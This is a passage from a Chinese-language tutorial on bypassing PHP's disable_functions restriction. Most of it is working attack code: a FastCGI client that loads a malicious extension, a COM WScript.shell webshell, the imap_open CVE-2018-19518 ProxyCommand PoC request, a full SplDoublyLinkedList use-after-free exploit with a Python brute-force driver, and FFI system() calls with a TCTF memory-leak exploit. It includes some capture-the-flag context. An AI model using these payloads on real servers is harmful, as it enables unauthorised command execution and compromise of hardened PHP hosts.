Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content'][4])) { case self::CANT_MPX_CONN: throw new Exception('This app cant multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } //$client = new AA("unix:///var/run/php-fpm.sock"); $client = new AA("127.0.0.1:9000"); $req = '/var/www/html/index.php'; $uri = $req .'?'.'command=ls'; var_dump($client); $code = "<?php antsystem('ls');\\n?>"; $php_value = "extension = /var/www/html/ant.so"; $php_admin_value = "extension = /var/www/html/ant.so"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => '/var/www/html/index.php', 'SCRIPT_NAME' => '/var/www/html/index.php', 'QUERY_STRING' => 'command=ls', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'PHP_ADMIN_VALUE' => $php_admin_value, 'SERVER_SOFTWARE' => 'asd', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); echo "Call: $uri\\n\\n"; var_dump($client->request($params, $code)); ''' ret = execute_php_code(code) print(ret) code = """ antsystem('ls'); """ ret = execute_php_code(code) print(ret)
通過修改其內(nèi)的code即可,效果如下:
漏洞利用成功。
需要目標機器滿足下列三個條件:
com.allow_dcom = true
extension=php_com_dotnet.dll
php>5.4
此時com組件開啟,我們能夠在phpinfo中看到:
要知道原理還是直接從exp看起:
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); $exec = $wsh->exec("cmd /c".$command); $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
首先,以new COM('WScript.shell')
來生成一個com對象,里面的參數(shù)也可以為Shell.Application
(筆者的win10下測試失?。?。
然后這個com對象中存在著exec可以用來執(zhí)行命令,而后續(xù)的方法則是將命令輸出,該方式的利用還是較為簡單的,就不多講了。
該bypass方式為CVE-2018-19518
imap擴展用于在PHP中執(zhí)行郵件收發(fā)操作,而imap_open是一個imap擴展的函數(shù),在使用時通常以如下形式:
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
那么該函數(shù)在調(diào)用時會調(diào)用rsh來連接遠程shell,而在debian/ubuntu中默認使用ssh來代替rsh的功能,也即是說在這倆系統(tǒng)中調(diào)用的實際上是ssh,而ssh中可以通過-oProxyCommand=
來調(diào)用命令,該選項可以使得我們在連接服務器之前先執(zhí)行命令,并且需要注意到的是此時并不是php解釋器在執(zhí)行該系統(tǒng)命令,其以一個獨立的進程去執(zhí)行了該命令,因此我們也就成功的bypass disable function了。
那么我們可以先在ubuntu上試驗一下:
ssh -oProxyCommand="ls>test" 192.168.2.1
環(huán)境的話vulhub上有,其中給出了poc:
POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 125 hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
我們可以發(fā)現(xiàn)其中使用了%09來繞過空格,以base64的形式來執(zhí)行我們的命令,那么我這里再驗證一下:
hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222 //ls>test
會發(fā)現(xiàn)成功寫入了一個test,漏洞利用成功,那么接下來就是各種肆意妄為了。
EXP在:https://github.com/mm0r1/exploits
三種uaf分別是:
Json Serializer UAF
GC UAF
Backtrace UAF
關于uaf的利用因為涉及到二進制相關的知識,而筆者是個web狗,因此暫時只會用exp打打,因此這里就不多說,就暫時先稍微提一下三種uaf的利用版本及其概述//其實我就是照搬了exp里面的說明,讀者可以看exp作者的說明就行了。
漏洞出現(xiàn)的版本在于:
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
漏洞利用json在序列化中的堆溢出觸發(fā)bypass,漏洞為bug #77843
漏洞出現(xiàn)的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出達成bypass,漏洞為:bug #72530
漏洞出現(xiàn)的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
漏洞利用的是 debug_backtrace這個函數(shù),可以利用該函數(shù)的漏洞返回已經(jīng)銷毀的變量的引用達成堆溢出,漏洞為bug #76047
利用的話exp或者蟻劍上都有利用插件了,這里不多講,可以上ctfhub測試。
這個UAF是在先知上看到的,引用原文來概述:
可以看到,刪除元素的操作被放在了置空 traverse_pointer 指針前。
所以在刪除一個對象時,我們可以在其構析函數(shù)中通過 current 訪問到這個對象,也可以通過 next 訪問到下一個元素。如果此時下一個元素已經(jīng)被刪除,就會導致 UAF。
PHP 部分(僅在 7.4.10、7.3.22、7.2.34 版本測試)
exp同樣出自原文。
php部分:
<?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result; } function leak(&$a, $address) { global $s; i2s($a, 0x00, $address - 0x10); return strlen($s -> current()); } function getPHPChunk($maps) { $pattern = '/([0-9a-f]+\-[0-9a-f]+) rw\-p 00000000 00:00 0 /'; preg_match_all($pattern, $maps, $match); foreach ($match[1] as $value) { list($start, $end) = explode("-", $value); if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) { $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length); echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . "\n"; return $address; } } } function bomb1(&$a) { if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) { return (s2i($_GET["test1"]) & 0x7ffff0000000); }else { die("[!]Where is here"); } } function bomb2(&$a) { $start = s2i($_GET["test2"]); return getElement($a, array($start, $start + 0x200000, 0x200000)); die("[!]Not Found"); } function getElement(&$a, $address) { for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) { $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000; for ($y = 0;$y < 5;$y++) { if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){ echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . "\n"; return $addr + $y * 0x08 - 0x18; } } } } function getClosureChunk(&$a, $address) { do { $address = leak($a, $address); }while(leak($a, $address) !== 0x00); echo "[+]Closure Chunk: " . dechex($address) . "\n"; return $address; } function getSystem(&$a, $address) { $start = $address & 0xffffffffffff0000; $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000; for($i = 0; $i < 0x1000 * 0x80; $i++) { $addr = $start - $i * 0x20; if ($addr < $lowestAddr) { break; } $nameAddr = leak($a, $addr); if ($nameAddr > $address || $nameAddr < $lowestAddr) { continue; } $name = dechex(leak($a, $nameAddr)); $name = str_pad($name, 16, "0", STR_PAD_LEFT); $name = strrev(hex2bin($name)); $name = explode("\x00", $name)[0]; if($name === "system") { return leak($a, $addr + 0x08); } } } class Trigger { function __destruct() { global $s; unset($s[0]); $a = str_shuffle(str_repeat("T", 0xf)); i2s($a, 0x00, 0x1234567812345678); i2s($a, 0x08, 0x04, 7); $s -> current(); $s -> next(); if ($s -> current() !== 0x1234567812345678) { die("[!]UAF Failed"); } $maps = file_get_contents("/proc/self/maps"); if (!$maps) { cantRead($a); }else { canRead($maps, $a); } echo "[+]Done"; } } function bypass($elementAddress, &$a) { global $s; if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) { die("[!]Get Closure Chunk Address Failed"); } $closure_object = leak($a, $closureChunkAddress + 0x18); echo "[+]Closure Object: " . dechex($closure_object) . "\n"; $closure_handlers = leak($a, $closure_object + 0x18); echo "[+]Closure Handler: " . dechex($closure_handlers) . "\n"; if(!($system_address = getSystem($a, $closure_handlers))) { die("[!]Couldn't determine system address"); } echo "[+]Find system's handler: " . dechex($system_address) . "\n"; i2s($a, 0x08, 0x506, 7); for ($i = 0;$i < (0x130 / 0x08);$i++) { $data = leak($a, $closure_object + 0x08 * $i); i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x08 * $i + 0x100, $data); } i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x20, $system_address); i2s($a, 0x00, $closure_object); i2s($a, 0x08, 0x108, 7); echo "[+]Executing command: \n"; ($s -> current())("php -v"); } function canRead($maps, &$a) { global $s; if (!$chunkAddress = getPHPChunk($maps)) { die("[!]Get PHP Chunk Address Failed"); } i2s($a, 0x08, 0x06, 7); if (!$elementAddress = getElement($a, $chunkAddress)) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } function cantRead(&$a) { global $s; i2s($a, 0x08, 0x06, 7); if (!isset($_GET["test1"]) && !isset($_GET["test2"])) { die("[!]Please try to get address of PHP Chunk"); } if (isset($_GET["test1"])) { die(dechex(bomb1($a))); } if (isset($_GET["test2"])) { $elementAddress = bomb2($a); } if (!$elementAddress) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a); } $s = new SplDoublyLinkedList(); $s -> push(new Trigger()); $s -> push("Twings"); $s -> push(function($x){}); for ($x = 0;$x < 0x100;$x++) { $s -> push(0x1234567812345678); } $s -> rewind(); unset($s[0]);
python部分:
# -*- coding:utf8 -*- import requests import base64 import time import urllib from libnum import n2s def bomb1(_url): content = None count = 1 addr = 0x7f0000000000 # change here and bomb1() in php if failed while True: try: addr = addr + 0x10000000 / 2 if count % 100 == 0: print "[+]Bomb " + str(count) + " times, address of first chunk maybe: " + str(hex(addr)) content = requests.post(_url + "?test1=" + urllib.quote(n2s(addr)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 continue return content def bomb2(_url, _addr1): content = None count = 1 crashcount = 0 while True: try: _addr1 = _addr1 + 0x200000 if count % 10 == 0: print "[+]Bomb " + str(count) + " times, address of php chunk maybe: " + str(hex(_addr1)) content = requests.post(_url + "?test2=" + urllib.quote(n2s(_addr1)), data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]" in content or "502 Bad Gateway" in content: count += 1 continue break except: count += 1 crashcount += 1 continue print "[+]PHP crash " + str(crashcount) + " times" return content payload = open("xxx.php").read() payload = base64.b64encode("?>" + payload) url = "http://x.x.x.x:x/eval.php" print "[+]Execute Payload, Output is:" content = requests.post(url, data={ "c": "eval(base64_decode('" + payload + "'));", }).content if "[!]Please try to get address of PHP Chunk" in content: addr1 = bomb1(url) if addr1 is None: exit(1) print "---------------------------------------------------------------------------------" addr2 = bomb2(url, int(addr1, 16)) if addr2 is None: exit(1) print "---------------------------------------------------------------------------------" print addr2 else: print content print "[+]Execute Payload Over."
ffi擴展筆者初見于TCTF/0CTF 2020中的easyphp,當時是因為非預期解拿到flag發(fā)現(xiàn)了ffi三個字母才了解到php7.4中多了ffi這種東西。
PHP FFI(Foreign Function interface),提供了高級語言直接的互相調(diào)用,而對于PHP而言,F(xiàn)FI讓我們可以方便的調(diào)用C語言寫的各種庫。
也即是說我們可以通過ffi來調(diào)用c語言的函數(shù)從而繞過disable的限制,我們可以簡單使用一個示例來體會一下:
$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami >/tmp/1"); echo file_get_contents("/tmp/1"); @unlink("/tmp/1");
輸出如下:
那么這種利用方式可能出現(xiàn)的場景還不是很多,因此筆者稍微講解一下。
首先是cdef:
$ffi = FFI::cdef("int system(const char *command);");
這一行是創(chuàng)建一個ffi對象,默認就會加載標準庫,以本行為例是導入system這個函數(shù),而這個函數(shù)理所當然是存在于標準庫中,那么我們?nèi)粢獙霂鞎r則可以以如下方式:
$ffi = FFI::cdef("int system(const char *command);","libc.so.6");
可以看看其函數(shù)原型:
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
取得了ffi對象后我們就可以直接調(diào)用函數(shù)了:
$ffi->system("whoami >/tmp/1");
之后的代碼較為簡單就不多講,那么接下來看看實際應用該從哪里入手。
以tctf的題目為例,題目直接把cdef過濾了,并且存在著basedir,但我們可以使用之前說過bypass basedir來列目錄,逐一嘗試能夠發(fā)現(xiàn)可以使用glob列根目錄目錄:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
可以發(fā)現(xiàn)根目錄存在著flag.h跟so:
因為后面環(huán)境沒有保存,筆者這里簡單復述一下當時題目的情況(僅針對預期解)。
發(fā)現(xiàn)了flag.h之后查看ffi相關文檔能夠發(fā)現(xiàn)一個load方法可以加載頭文件。
于是有了如下:
$ffi = FFI::load("/flag.h");
但當我們想要打印頭文件來獲取其內(nèi)存在的函數(shù)時會尷尬的發(fā)現(xiàn)如下:
我們無法獲取到存在的函數(shù)結構,因此也就無法使用ffi調(diào)用函數(shù),這一步路就斷了,并且cdef也被過濾了,無法直接調(diào)用system函數(shù),但查看文檔能夠發(fā)現(xiàn)ffi中存在著不少與內(nèi)存相關的函數(shù),因此存在著內(nèi)存泄露的可能,這里借用飄零師傅的exp:
import requests url = "http://pwnable.org:19261" params = {"rh": ''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5] = 'l'; $a[6] = 'a'; $a[7] = 'g'; $b = $ffi->new("char[8]", false); $b[0] = 'f'; $b[1] = 'l'; $b[2] = 'a'; $b[3] = 'g'; $newa = $ffi->cast("void*", $a); var_dump($newa); $newb = $ffi->cast("void*", $b); var_dump($newb); $addr_of_a = FFI::new("unsigned long long"); FFI::memcpy($addr_of_a, FFI::addr($newa), 8); var_dump($addr_of_a); $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false); FFI::memcpy($leak, $newa-0x20000, 102400); $tmp = FFI::string($leak,102400); var_dump($tmp); //var_dump($leak); //$leak[0] = 0xdeadbeef; //$leak[1] = 0x61616161; //var_dump($a); //FFI::memcpy($newa-0x8, $leak, 128*8); //var_dump($a); //var_dump(777); } catch (FFI\Exception $ex) { echo $ex->getMessage(), PHP_EOL; } var_dump(1); ''' } res = requests.get(url=url,params=params) print((res.text).encode("utf-8"))
獲取到函數(shù)名后直接調(diào)用函數(shù)然后把結果打印出來即可:
$a = $ffi->flag_wAt3_uP_apA3H1(); for($i=0;$i<100;$i++){ echo $a[$i]; }
看完上述內(nèi)容,你們對php中函數(shù)禁用繞過的原理與用法有進一步的了解嗎?如果還想了解更多知識或者相關內(nèi)容,請關注億速云行業(yè)資訊頻道,感謝大家的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。